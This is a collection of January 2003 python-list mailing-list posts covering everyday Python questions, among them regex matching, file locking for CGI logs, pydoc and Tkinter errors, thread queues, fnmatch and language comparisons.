Message-ID: <9UiU9.7010$DQ5.4151@nwrddc04.gnilink.net>

Christian Tismer <tismer at tismer.com> wrote:
> Paul Rubin wrote:
>> In my dreams we'd have a completely self-hosted Python implementation
>> that compiles to native code on the fly, sort of like the Yale T system.
> 
> Never heard of this, but this is my dream, too.

The history of T:

    http://www.paulgraham.com/thist.html

  Neil



From lac at strakt.com  Sun Jan 12 05:08:27 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 12 Jan 2003 11:08:27 +0100
Subject: How do I get to *all* of the groups of an re search? 
In-Reply-To: Message from Kyler Laird <Kyler@news.Lairds.org> 
   of "Sat, 11 Jan 2003 23:53:37 GMT." <jil6f-6ug.ln1@news.lairds.org> 
References: <mailman.1042258221.18149.python-list@python.org> <5tq5f-8k3.ln1@news.lairds.org> <avpnem$mu1$1@slb0.atl.mindspring.net> <jil6f-6ug.ln1@news.lairds.org> 
Message-ID: <200301121008.h0CA8RjL031619@ratthing-b246.strakt.com>

<snip> 

I think that you should file a bug report on the documentation, listing
the pages and the sentences that you found misleading, and if possible what
you would prefer they say instead.  Since you have just gone through
the experience, it is your mind that is attuned to the problem.  

Thanks very much,

Laura




From LogiplexSoftware at earthlink.net  Thu Jan 16 16:23:18 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 16 Jan 2003 13:23:18 -0800
Subject: matching and extracting...
In-Reply-To: <b067ri$luv76$1@ID-146704.news.dfncis.de>
References: <409a56e2.0301141324.6625547d@posting.google.com>
	 <1042589408.27815.5.camel@software1.logiplex.internal>
	 <1042589661.27820.8.camel@software1.logiplex.internal>
	 <mailman.1042590627.3480.python-list@python.org>
	 <b03b3a$3ce$1@slb0.atl.mindspring.net>
	 <mailman.1042647527.17296.python-list@python.org>
	 <b067ri$luv76$1@ID-146704.news.dfncis.de>
Message-ID: <1042752198.27819.176.camel@software1.logiplex.internal>

On Thu, 2003-01-16 at 04:19, shagshag13 wrote:
> thanks to all !
> 
> that was the stuff that i needed !

Glad to offer real help rather than just stupid comments for once =)

> ("i8" must not be matched to "a8" and yes "i2 is a3" should have been "i2 is
> a2")
> 
> > There are a couple of other potential shortcomings as well, but I
> > decided that this satisfied the OP's exact request.  Handling things
> > outside of that is Left As An Exercise(tm).
> 
> what kind of thing are you thinking about ?
> (But Don't Give Correction(tm) just some guidelines)

Mostly having to do with handling strings that fall outside of the
narrow spec you provided.  As Andrew noted, passing a string such as
"a.1" would be a problem as "." has meaning in the re module.  You
should add some validation code to make sure that anything passed to the
constructor (in the sequence argument) is valid.  However, if you *know*
the strings will always be properly constructed, there shouldn't be a
problem.

Regards,

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From maney at pobox.com  Fri Jan 17 21:47:30 2003
From: maney at pobox.com (Martin Maney)
Date: Sat, 18 Jan 2003 02:47:30 +0000 (UTC)
Subject: Coding standard: Prefixing variables to indicate datatype
References: <mailman.1042763431.24621.python-list@python.org> <f57664b9.0301170025.596f6482@posting.google.com> <mailman.1042794092.20715.python-list@python.org>
Message-ID: <b0af82$e7m$3@wheel2.two14.net>

James J. Besemer <jb at cascade-sys.com> wrote:
> However, in all fairness to Simonyi, he developed Hungarian notation 
> literally decades ago, at a time when C compilers did not do any type 
> checking and yet the types of variables mattered greatly.

For want of a lint, win32 developers' minds were lost?



From timr at probo.com  Thu Jan  9 02:29:11 2003
From: timr at probo.com (Tim Roberts)
Date: Wed, 08 Jan 2003 23:29:11 -0800
Subject: os.remove & os.rmdir
References: <RmyS9.1309$V6.1827@news.indigo.ie> <3E1ADF0A.A5FBBBFD@engcorp.com> <3E1AE5E0.7030208@corvil.com>
Message-ID: <iu8q1vgc79bt73i663td93uc4d2vrc0tjr@4ax.com>

Padraig Brady <padraig.brady at corvil.com> wrote:
>Peter Hansen wrote:
>> Padraig Brady wrote:
>> 
>>>So, should I do a simple patch?
>> 
>> Please don't!
>> 
>>>Advantages I can see are:
>>>
>>>    1. It follows the standard
>> 
>> Which standard?  This is Python, not C.
>
>POSIX and ISO C. Having different functionality than those
>is confusing I think.

ISO C does not say this.  The spec only says that "remove" deletes a file.
In response to a request for interpretation, the behavior when a directory
name is given was officially deemed "unspecified".
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.



From aahz at pythoncraft.com  Mon Jan 20 22:45:20 2003
From: aahz at pythoncraft.com (Aahz)
Date: 20 Jan 2003 22:45:20 -0500
Subject: What's on TV (was Re: Where do you store data files?)
References: <bdb5b58f.0301201653.3a9166d4@posting.google.com> <mailman.1043112217.2929.python-list@python.org>
Message-ID: <b0ifog$6g3$1@panix2.panix.com>

In article <mailman.1043112217.2929.python-list at python.org>,
Cliff Wells  <LogiplexSoftware at earthlink.net> wrote:
>On Mon, 2003-01-20 at 16:53, logistix wrote:
>> 
>> Just wondering what other people were doing.
>
>I was watching "Lilo and Stitch".

_Royal Tenenbaums_, from the local library.  Cheaper than Blockbuster.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"I used to have a .sig but I found it impossible to please everyone..."  --SFJ



From robin at jessikat.fsnet.co.uk  Tue Jan 14 05:20:47 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Tue, 14 Jan 2003 10:20:47 +0000
Subject: flock experience
In-Reply-To: <20030114092127.C349@prim.han.de>
References: <qBQ7XIAU41I+EwVv@jessikat.fsnet.co.uk>
 <20030114092127.C349@prim.han.de>
Message-ID: <D6KB5KA$R+I+EwDK@jessikat.demon.co.uk>

In message <20030114092127.C349 at prim.han.de>, holger krekel
<pyth at devel.trillke.net> writes
>Robin Becker wrote:
.......
>8 machines?  are you using nfs? then i don't think you should try
>to do locking.  It's been a problem with smtp+mailprogramms forever
>and in the end the mailbox format (each message a file) appears to be
>the simplest working solution.  
>
unfortunately I don't know the architecture very well, it's some solaris
webserver front end, the web people hate putting our (non-java) stuff
there so they're giving us a standalone document production system.
>Anyway, couldn't you create a file for each message/process?  another 
>process could gather it so you wouldn't have to care for locking at all. 
>you may need an end marker so that the gathering process doesn't
>assume a message is complete too early. 
>
The processes are all cgi-scripts. Currently we have a log file for each
machine/script. The scripts take about two seconds to complete and the
(short I hope) log entry is written at termination using

        f = open(logfile, "a")
        f.write(text)
        f.close()

As I said, so far we appear to have been 'lucky', but that can't go on
as we're now starting to use the collected statistics and I have seen
some 'broken' log entries. Moving to the new single document server will
only make things worse so we need to get this right.

A database solution was considered, but is a bit slow and involves some
politics. A bespoke solution using a socket server is also possible, but
it seems like overkill to me.
>HTH,
>
>    holger
>

-- 
Robin Becker




From lac at strakt.com  Fri Jan 31 12:23:05 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 31 Jan 2003 18:23:05 +0100
Subject: pydoc -g failed on HPUX 
In-Reply-To: Message from Gerard Breiner <gbreiner@ias.u-psud.fr> 
   of "Fri, 31 Jan 2003 17:13:18 +0100." <Pine.WNT.4.44.0301311711070.3024-100000@azur> 
References: <Pine.WNT.4.44.0301311711070.3024-100000@azur> 
Message-ID: <200301311723.h0VHN5jL006558@ratthing-b246.strakt.com>

> 
> pydoc -g
> 
> Traceback (most recent call last):
>   File "/usr/local/bin/pydoc", line 4, in ?
>     pydoc.cli()
>   File "/usr/local/lib/python2.2/pydoc.py", line 2047, in cli
>     gui()
>   File "/usr/local/lib/python2.2/pydoc.py", line 2018, in gui
>     import Tkinter
>   File "/usr/local/lib/python2.2/lib-tk/Tkinter.py", line 35, in ?
>     import _tkinter # If this fails your Python may not be configured for
> Tk
> ImportError: Failed to load
> /usr/local/lib/python2.2/lib-dynload/_tkinter.sl
> ------------------------------------------------------
> An idea please ?
> Best regards
> 
> Gerard Breiner
> Institut d'Astrophysique Spatiale
> Batiment 121
> 91405 Orsay Campus
> France
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

You need to install Tk and Tcl for Tkinter to work. Do you have them
installed?

Laura




From gradha at terra.es  Mon Jan 27 04:44:28 2003
From: gradha at terra.es (Grzegorz Adam Hankiewicz)
Date: Mon, 27 Jan 2003 10:44:28 +0100
Subject: xlistdir -- an iterator version of os.listdir
In-Reply-To: <1043601975.1388.82.camel@refugeeMedia>
References: <20030126051723.20234.qmail@admin.jdiworks.net> <1043595307.1384.0.camel@refugeeMedia> <20030126165938.GA6257@pedos.es> <1043601975.1388.82.camel@refugeeMedia>
Message-ID: <20030127094428.GA30271@pedos.es>

On Sun, Jan 26, 2003 at 12:26:14PM -0500, Mongryong wrote:
> If you're directory has many files, say 50,000, and you require
> to process all of them, it's probably more efficient to cache
> 1000 files at the OS level then it is to have xlistdir.next()
> perform the OS call every time (localization principle).

Well, if the cache is to be done at the OS level, it doesn't matter
if you are using listdir or xlistdir, because it's the OS which
will do it, and python doesn't have any voice about that.

> Now, if you only wanted to process all the ".txt" files, you don't
> want your cache filled with files you don't need.

Well, but the OS is likely going to cache the directory anyway,
even if you just open a single file.

> This is really just an extra feature for optimization tweaking.
> In all likelihood, the optimization gains is probably not
> significant.

Not for speed, but for memory yes.




From mgarcia at cole-switches.com  Sat Jan 11 19:24:37 2003
From: mgarcia at cole-switches.com (Manuel M. Garcia)
Date: Sun, 12 Jan 2003 00:24:37 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <mailman.1042312221.11913.python-list@python.org>
Message-ID: <dgb12von92hgnkrqmibja28mmp602coi0j@4ax.com>

On Sat, 11 Jan 2003 20:09:36 +0100, holger krekel
<pyth at devel.trillke.net> wrote:
(edit)
>We probably should have said 'hope to' instead of
>'are confident' regarding speed prospects.  

Yeah, I got nervous when I read "we are confident that MinimalPython
will eventually run faster than today's CPython".

It reminded me of the "microthread OS" and "Perl 6 Parrot registers VM
versus stack VM".  Before coding even begins, performance claims are
made, mainly based on the "coolness" of the technique.  When the
performance does not materialize, or the coding is stalled, the
technique is still treated as above reproach.  And when the old way is
still faster, pleading that will more time, and with more coders, the
old way will be left in the dust.

I can see how MinimalPython could be faster than CPython.  No
programmer would write C code tuned to run optimally on every machine
under every different multi-tasking work load with every different
internal state.  Too many machines, too many ways of trading space for
speed, too many ways of striving for something small enough to fit in
the cache and avoid paging, too many different tricks.  Of course, a
sane C programmer would write a single reasonably efficient
implementation, and in the program's hot spots, maybe specialized code
to take advantage of a few common situations.

A JIT compliler would supply code tuned for the specific machine in
the specific situation.  It might be different low level code each
time, but the JIT compliler does not care.

The part of the project I am most excited about is playing with a
reasonalbly efficient Python implementation written mainly in Python!
If the speed never materializes, we still have a test bed for many
Python programmers to try out new ideas for the traditional Python
implementations.  And if the speed claim comes true, that is a whole
another level of goodness!

Manuel



From eladioventura at hotmail.com  Sun Jan  5 10:36:30 2003
From: eladioventura at hotmail.com (Eladio Ventura)
Date: Sun, 5 Jan 2003 15:36:30 +0000
Subject: (no subject)
Message-ID: <20030105153630.GA14621@hotmail.com>

Never mind. I need to cut back on the jolt, ha ha!
Here is the solution for other newbies in the same boat as I. 

	for line in lines:
		result = regex.search(line)
		if not result: print "Damn!"
-- 
"Thinking gives you wrinkles!"
Malibu Stacy, the Simpsons




From gradha at terra.es  Sat Jan 18 19:02:23 2003
From: gradha at terra.es (Grzegorz Adam Hankiewicz)
Date: Sun, 19 Jan 2003 01:02:23 +0100
Subject: Overloading methods in C API
In-Reply-To: <slrnb2jqiv.91m.grante@localhost.localdomain>
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <b0cdjh$nsnhe$1@ID-71831.news.dfncis.de> <slrnb2jqiv.91m.grante@localhost.localdomain>
Message-ID: <20030119000223.GA7744@pedos.es>

> >> For whatever historical reasons, operator overloading and
> >> function/method overloading are usually considered as two
> >> separate language features.  C and python have the former but
> >> not the latter.
> > 
> > *cough* C has neither.
> 
> Nonsense.  The operators + - * / do different things depending on
> the types of their operands.  That's operator overloading.

Maybe you are refering to C's usually warningless type coercion in
mathematical operations? Or you know of a way to add two strings
and have them concatenated? Please ellaborate.




From gradha at terra.es  Sun Jan 26 11:59:38 2003
From: gradha at terra.es (Grzegorz Adam Hankiewicz)
Date: Sun, 26 Jan 2003 17:59:38 +0100
Subject: xlistdir -- an iterator version of os.listdir
In-Reply-To: <1043595307.1384.0.camel@refugeeMedia>
References: <20030126051723.20234.qmail@admin.jdiworks.net> <1043595307.1384.0.camel@refugeeMedia>
Message-ID: <20030126165938.GA6257@pedos.es>

> On Sun, 2003-01-26 at 00:17, Terrel Shumway wrote:
> > xlistdir.xlistdir is an iterator version of os.listdir.
>
On Sun, Jan 26, 2003 at 10:35:06AM -0500, Mongryong wrote:
> It would also be nice to be able to list files allow with a certain
> pattern or suffix.

Well, you could filter yourself with fnmatch, here's a usage example:

[gregorio at pedos.es:0] [~]$ python
imporPython 2.2.1 (#1, Apr 21 2002, 08:38:44)
[GCC 2.95.4 20011002 (Debian prerelease)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from fnmatch import *
>>> fnmatch("pepe.txt", "*.txt")
1
>>> fnmatch("pepe.tx", "*.txt")
0

Apply that inside the loop and you have your memory minimal custom glob.




From a.schmolck at gmx.net  Thu Jan 30 14:33:16 2003
From: a.schmolck at gmx.net (Alexander Schmolck)
Date: 30 Jan 2003 19:33:16 +0000
Subject: Help a C++ coder see the light
References: <memo.20030130181135.820C@a.radioscape.com>
Message-ID: <yfsk7gmjuv7.fsf@black132.ex.ac.uk>

mark.charsley at REMOVE_THIS.radioscape.com (Mark Charsley) writes:

> The more nasty problem is changing a function to have, say, an extra 
> argument. In C++ I'd just run the code through the compiler and it would 
> tell me all the places where the code needs updating. In python I'd have 
> to trust grep (and follow up all the cases where the function was assigned 
> a new name, passed to a callback interface etc. and/or where the arguments 
> are built somewhere else and just passed in via "apply").

Are you talking of this case?

   def aTest():
       print "HI"
   def bTest():
       return aTest(3)

pychecker seems to handle that fine:

  /home/hobbes3/aschmolc/py/test.py:4: Invalid arguments to (aTest), got 1, expected 0   

If you use a recent version of python-mode in emacs, you can do C-c C-w to run
pychcker like and jump to the offending files and lines by just clicking on
the error messages (I submitted a patch some time, which Barry has
incorporated -- it might still be only available from CVS, though).

Anyway, the right solution to this problem is not so much compile time
checking but a refactoring browser. If you don't want to switch to smalltalk,
try http://bicyclerepair.sourceforge.net/ for python, which however still is
alpha.


alex




From vanevery at 3DProgrammer.com  Wed Jan 29 23:32:00 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Thu, 30 Jan 2003 04:32:00 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net> <UgOZ9.314$XU5.188@news-binary.blueyonder.co.uk>
Message-ID: <4V1_9.3850$wd2.304935@newsread2.prod.itd.earthlink.net>

John Ochiltree wrote:
>
> The obvious difference between C++ and python is surface complexity.

I agree.  C++ is unnecessarily verbose and picky.

> Python allows you to 'see' the solution a lot faster; C++ - you have
> to mentally filter out all the gumph that is not to do with the
> solution.

I disagree.  90% of the time I do not use the verbose / picky stuff.  For
the kinds of 3D graphics problems I usually tackle, it isn't going to make
any difference whether the class methods are specified in Python or C++.

I do agree that when I *am* forced into the verbose / picky stuff that 10%
of the time, I lose disproportionate amounts of time mastering yet-another
language "feature" of C++.  Consequently, I Keep It Simple Stupid 90% of the
time.  That's how you survive in a C++ world.  You either do things in a
very simple and straightforward way, or you get paid a lot of money by
someone else to deal with the headaches.

> For instance, if I apply a pattern (an architectural
> feature) in either language I can see how the pattern supports the
> solution faster and easier with Python than I can with C++.

For my particular case use, I do not believe in patterns.  I believe in
mathematics.  I care about things like "SphereArc" or "Trigrid."  Not
"Abstract Factory" or "Singleton/Letter."  I've got books on all that stuff,
and for what I do, it's rubbish.

> I tend to
> use python to prototype and explore possible solutions but if I need
> optimisation I do a thorough up front design based on the prototype
> but using C++.

I just code up an exceedingly minimal feature set in C++ to begin with.  I
don't code things unless I absolutely know that I need them.  I have a RISC
attitude towards coding, not a featuritis attitude.  I am exceedingly
incremental and architectural about how I handle my own development.  I can
do that because I'm the only one coding.  In a customer environment where I
had to spew a lot of featuritis to please fools, I'd probably adopt
different tactics.

In my game development, I forsee a time when I'll need a more flexible,
experimental approach to coding.  But right now I'm building the structural
foundation.  C++ is the correct tool for my jobs right now.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From wyojustin at hotmail.com  Tue Jan 21 21:18:40 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Tue, 21 Jan 2003 21:18:40 -0500
Subject: SNQ: stdin with both a pipe and keyboard
References: <slrnb2r87t.tfl.ressler@cheetah.jpl.nasa.gov> <5hr0g-4m3.ln1@beastie.ix.netcom.com>
Message-ID: <1SOdnYkXtLofYrCjXTWc3Q@comcast.com>

"Dennis Lee Bieber" <wlfraed at ix.netcom.com> wrote in message
news:5hr0g-4m3.ln1 at beastie.ix.netcom.com...
> Michael Ressler fed this fish to the penguins on Tuesday 21 January
> 2003 11:35 am:
>
> >
> > I've been using sys.stdin.read() to suck in the data, but if I then
> > use raw_input() or something like it to ask for the filename, I get an
> > EOF error; like raw_input() was already expecting the keyboard text to
> > be there without waiting for it.
> >
>         So far as I know, raw_input() reads via sys.stdin -- which means
it is
> trying to read your pipe which, after the data was already read in is
> at EOF.
>
>         I don't know enough to state if you can close and reopen sys.stdin
to
> redirect it back to the console.
>
>         Might be easier to design it to read the destination file name as
a
> command line argument and not prompt for it.
>

Or accept the output filename on the command line.  Then you could default
to stdout if no arg was present.
Justin





From yanarkana at yahoo.fr  Fri Jan 17 11:01:49 2003
From: yanarkana at yahoo.fr (Arkana)
Date: 17 Jan 2003 08:01:49 -0800
Subject: python and trigram ???
Message-ID: <199f365a.0301170801.7cb44da0@posting.google.com>

hello,

does anyone here know what are trigram ? and if there is any project
or stuff in python using them ? or where i can learn more on this
subject ?

thanks.



From jeremy at jdyallop.freeserve.co.uk  Sun Jan  5 16:56:30 2003
From: jeremy at jdyallop.freeserve.co.uk (Jeremy Yallop)
Date: 5 Jan 2003 21:56:30 GMT
Subject: Function calls and reflection
References: <67446a0a.0301051338.147661dc@posting.google.com>
Message-ID: <ava9me$dgllu$1@ID-114079.news.dfncis.de>

* Boethius
| Can a function tell which function / method called it?

Yes.

Here's one way:

  from inspect import currentframe

  def called():
        print 'called is called by', currentframe().f_back.f_code.co_name

  def caller_1():
        called()

  def caller_2():
        called()

  caller_1()
  caller_2()

Jeremy.



From mertz at gnosis.cx  Tue Jan  7 23:23:31 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Tue, 07 Jan 2003 23:23:31 -0500
Subject: Python vs .Net (
References: <mailman.1041982992.14279.python-list@python.org>
 <Pine.GSO.4.21.0301081443160.4782-100000@supreme.pcug.org.au>
Message-ID: <Df6G+kKkXcmG092yn@gnosis.cx>         

|> I do hope everyone knows that it is not a question of IF, but WHEN,
|> Microsoft will decide to sue MONO out of existence.

Avery Andrews <andrews at pcug.org.au> wrote previously:
|How does this play out in places that don't recognize software patents,
|especially where the local government is not interested in promoting the
|dominance of M$?  'twould be odd for USA-ans to be looking to Latin
|America and China for the defense of freedom, but such is life ...

We USAian's have been looking to Latin America for democratic
inspiration for some time.  Peruvian Congressman Villaneuva, for
example, is way out in front of us in his understanding of freedom.
Heck, even Miguel de Icaza--although naive in thinking MS will play nice
about Mono--is, after all, Mexican (and his heart is in the right place).

Still, I don't think Mono will last long once it is illegal to import
any of its code into the USA and the EU.  I realize those are not the
whole world... but they make up a big enough chunk of the software world
to strangle a project like Mono.

Yours, Lulu...

--
---[ to our friends at TLAs (spread the word) ]--------------------------
Echelon North Korea Nazi cracking spy smuggle Columbia fissionable Stego
White Water strategic Clinton Delta Force militia TEMPEST Libya Mossad
---[ Postmodern Enterprises <mertz at gnosis.cx> ]--------------------------





From phr-n2002b at NOSPAMnightsong.com  Mon Jan 13 10:27:46 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 13 Jan 2003 07:27:46 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re:  [ann]MinimalPython project)
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042428982.26240.python-list@python.org> <vAsU9.66$_d2.118955@news.uswest.net> <5ItU9.7305$Dq.767535@newsread2.prod.itd.earthlink.net> <3E228E81.81B0FACD@alcyone.com>
Message-ID: <7xn0m5hxxp.fsf@ruckus.brouhaha.com>

Erik Max Francis <max at alcyone.com> writes:
> > > There is only one name possible, it must be called pythy.
> > > As in pithy
> > 
> > Not that it's necessarily a bad name, but *why* is that appropriate?
> 
> Indeed, the word has negative connotations, so it does not seem like an
> appropriate name at all.

I don't see pithy as having negative connotations beyond sounding a
little bit like "pissy".  But I'm not that crazy about it anyway.

> > I immediately thought of the image of a snake biting its tail -- an
> > ancient
> > symbol of the cycle of life, recursion, etc.  The name for this symbol
> > appears to be variously:
> > 
> > Uroboros
> > Ourobouros
> > Ourobourus
> > 
> > Not sure which spelling is "canonical".  Not so easy to pronounce
> > though.
> 
> I've seen so many spelling variations that I would think that in itself
> would disqualify it as a good choice of names.  In this day and age, it
> makes sense to choose names that can be easily found through search
> engines.  If it's inherently hard to spell right, it's not a good name.

E. R. Eddington's book was titled "The Worm Ourobouros" iirc.  I don't
think I'd want to base the name on this.  But if I did, I'd shorten it
to "Oro", which also happens to mean "gold" in some languages.




From exarkun at intarweb.us  Tue Jan 21 15:01:43 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Tue, 21 Jan 2003 15:01:43 -0500
Subject: Where do you store data files?
In-Reply-To: <3E2DF9B4.9050008@nospam.free.fr>
References: <bdb5b58f.0301201653.3a9166d4@posting.google.com> <3E2DF9B4.9050008@nospam.free.fr>
Message-ID: <20030121200143.GB1284@meson.dyndns.org>

On Tue, Jan 21, 2003 at 08:53:56PM -0500, laotseu wrote:
> 
> Just leave the choice to the user ! (ie : have a [config file|register 
> base entry|ini|...] saying where the data should be stored).
> 

  A possibility - but a common viewpoint is that the more choices you foist
off on the user, the less usable your app is.  The developer shouldn't
wimble, he should make decisions.  Provide a reasonable default (Personally,
I'd pick <home>/<appname>/) and then, maybe, make it user configurable.

  Jp

-- 
"There is no reason for any individual to have a computer in their
home."
                -- Ken Olson, President of DEC, World Future Society
                   Convention, 1977
--
 12:00am up 36 days, 9:48, 4 users, load average: 0.10, 0.14, 0.14
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030121/c84ea01b/attachment.sig>

From davegaramond at icqmail.com  Mon Jan 20 07:46:36 2003
From: davegaramond at icqmail.com (David Garamond)
Date: Mon, 20 Jan 2003 05:46:36 -0700
Subject: a single class supporting multiple facets/interfaces
Message-ID: <3E2BEFAC.2060101@icqmail.com>

i want to have a class that can support multiple sets of methods, based 
on what the client requests. for example, see the following code:

<<EOF
class C:
     def foo(self):
         print "foo"
     def bar1(self):
         print "bar version 1"
     def bar2(self, arg):
         print "bar version 2, arg =", arg
     def facet(self, whichFacet=1):
         if whichFacet == 1:
             return C_facet1(self)
         elif whichFacet == 2:
             return C_facet2(self)
         return

class C_facet1:
     def __init__(self, c):
         self.foo = c.foo
         self.bar = c.bar1

class C_facet2:
     def __init__(self, c):
         self.foo = c.foo
         self.bar = c.bar2

c1 = C().facet(1) # client1 picks interface1
c1.foo()          # prints "foo"
c1.bar()          # prints "bar version 1"

c2 = C().facet(2) # client2 picks interface2
c2.foo()          # prints "foo"
c2.bar(123)       # prints "bar version 2, arg = 123"
EOF

if a client wants interface 1, then she will get foo and bar (which is 
actually bar1). if he picks interface 2, then she will get foo and bar 
(which is actually bar2). for all she cares, she just wants to know/deal 
with a single [versatile] class, C. and from that single class, she can 
pick several sets of features/interfaces she needs/wants.

the above code does what i want to accomplish, but i think it's very 
ugly. can anyone make it more elegant?

-- 
dave





From soulchaos at hotmail.com  Fri Jan  3 16:23:49 2003
From: soulchaos at hotmail.com (Joe)
Date: Fri, 3 Jan 2003 22:23:49 +0100
Subject: php vs python
References: <mailman.1041625688.13638.python-list@python.org>
Message-ID: <3e16006e$0$230$edfadb0f@dread12.news.tele.dk>

Thankes for the enlightment... ill guess i stick to php then as I'm very
dependen on the apache server.

"Rick Richardson" <rrichardson at eti-main.enabletech.com> wrote in message
news:mailman.1041625688.13638.python-list at python.org...
>
> It depends on what you're using for the web serving. If you are planning
on
> using mod_python with apache you won't
> get much that's different from php, It's all got to do with style. People
> who aren't full time programmers often appreciate python's friendly
syntax,
> wheras php syntax and standard lib is very c++-ish.
>
> If you're planning on using zope, or twisted as your webserver however,
you
> will get a completely different web development framework that really
> leverages the features of python that makes it different from other
> languages (flexibility, strong-dynamic typing etc). There's too much to
list
> as their features, its really a whole new web development paradigm.
>
>
> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Joe
> Sent: Friday, January 03, 2003 12:02 PM
> To: python-list at python.org
> Subject: php vs python
>
>
> I was attending a conference about php, and heard talk about some websites
> switching from php to Phyton.
>
> I have been programming php for some years now and just recently heard
about
> python used for web programming.
>
> What can Phyton do for me that php cant't?
>
> Regards Joe
>
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>





From peter at engcorp.com  Mon Jan 27 13:21:15 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 27 Jan 2003 13:21:15 -0500
Subject: About object reference and threads
References: <umsa3vsdnlf8pckkbpog5qnloi89h7v6vk@4ax.com>
Message-ID: <3E35789B.C58C2BA0@engcorp.com>

Grumfish wrote:
> 
> How do I tell a Thread object what Queue object to use? I have a
> parent object that has a Queue and a Thread as members. I want the
> parent object to create the thread, tell it to write to to the Queue
> object, then start the Thread. How do I do this? How do I get a
> reference to an object?

Untested code snippets:

class Task(threading.Thread):
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue

    def run(self):
        # do stuff like write to self.queue
        ...


In the parent code:

import Queue
q = Queue.Queue()
task = Task(q)
task.start()
# do stuff like read from "q"
...

In other words, pass the Queue object you want to use in to the
Thread when you create it.  There are some alternatives, but this
one generally works best.

-Peter



From gleki at gol.ge  Thu Jan 16 08:13:44 2003
From: gleki at gol.ge (Giorgi Lekishvili)
Date: Thu, 16 Jan 2003 14:13:44 +0100
Subject: unicode positions of characters
Message-ID: <3E26B008.4F281CD@gol.ge>

Hi all!
Sorry for this question.
Could somebody tell me how can I get the unicode hexadecimals of chars?
e.g., 'char'  --> xyzv
The idea is that I have to get a position of a latin char, and shift it
withe a preset offset to get a new letter of another alfabet.

TIA,
Giorgi




From dialtone/#NOSPAM#\ at aruba.it  Sat Jan  4 20:49:05 2003
From: dialtone/#NOSPAM#\ at aruba.it (Dialtone)
Date: Sun, 05 Jan 2003 02:49:05 +0100
Subject: Emacs and ELSE
Message-ID: <8f3f1v4pouvu72cavbntms6elg6grtsrkd@4ax.com>

Hi all. After reading the very long thread about Python editors under
linux (and maybe also under windows), I've been trying out Emacs (I
already know how to use Vim and GVim, and I may say I love them)...

The main reason I'm trying emacs is because of the possibility to
lauch the inpterpreter inside Emacs without external apps working and
ELSE...

Well... I've followed all the instructions in both
www.python.org/emacs/python-mode
and
http://www.zipworld.com.au/~peterm/

but I don't know if ELSE is working...
How can I know this?

anyway... I found only a sample.emacs file in my Xemacs/etc
directory... since I did not find anything else I started with that
one and at the end renamed it .emacs. It should be good anyway right?

thx for the answers.
-- 
try: troll = "Brain"
except TypeError, data: 
   troll.plonk()
Co-Responsabile Hardware Information & Technology http://hit.edengames.net



From dallasm at aiinet.com  Sun Jan 19 02:08:50 2003
From: dallasm at aiinet.com (Mahrt, Dallas)
Date: Sun, 19 Jan 2003 02:08:50 -0500
Subject: Python Coding/Documenting Style Question
Message-ID: <638AA0336D7ED411928700D0B7B0D75B02E1F1AB@aimail.aiinet.com>

I would look into the Docutils project (http://docutils.sourceforge.net).
This project is attempting to provide a pluggable framework for documenting
Python code (including support for attributes). I believe they support
dcstrings for attributes. So the comment would be a string following the
definition of the attribute. (not sure about that). The docutils project has
also refined the suggested format for comments (PEP 257 (and 256 for
docutils specific))

> -----Original Message-----
> From: llothar at web.de [mailto:llothar at web.de] 
> Sent: Saturday, January 11, 2003 6:28 PM
> To: python-list at python.org
> Subject: Python Coding/Documenting Style Question
> 
> 
> Is there any common coding style for commenting variables
> like the following:
> 
> ====================================
> 
> globalVar = 666  # here comes a comment from hell
> 
> class foo:
> 	"This is the class comment"
> 		
> 	ClassVar = 10  # comment about this
> 	
> 	def __init__(self):
> 		self.objectVar = "foo"   # description of objectVar
> 		
> 		
> =====================================		
> 		
> It seems quite common to add the comments on the same line but.
> But what should i do when i want to use longer comments and/or 
> document the type of a variable. 
> 
> Is there any tool that can
> automatically generate documentation from such annotations ?
> -- 
> http://mail.python.org/mailman/listinfo/python-list
> 




From aka at mvps.org  Mon Jan 13 14:19:12 2003
From: aka at mvps.org (Alex K. Angelopoulos)
Date: Mon, 13 Jan 2003 14:19:12 -0500
Subject: ActivePython on Windows: References Question
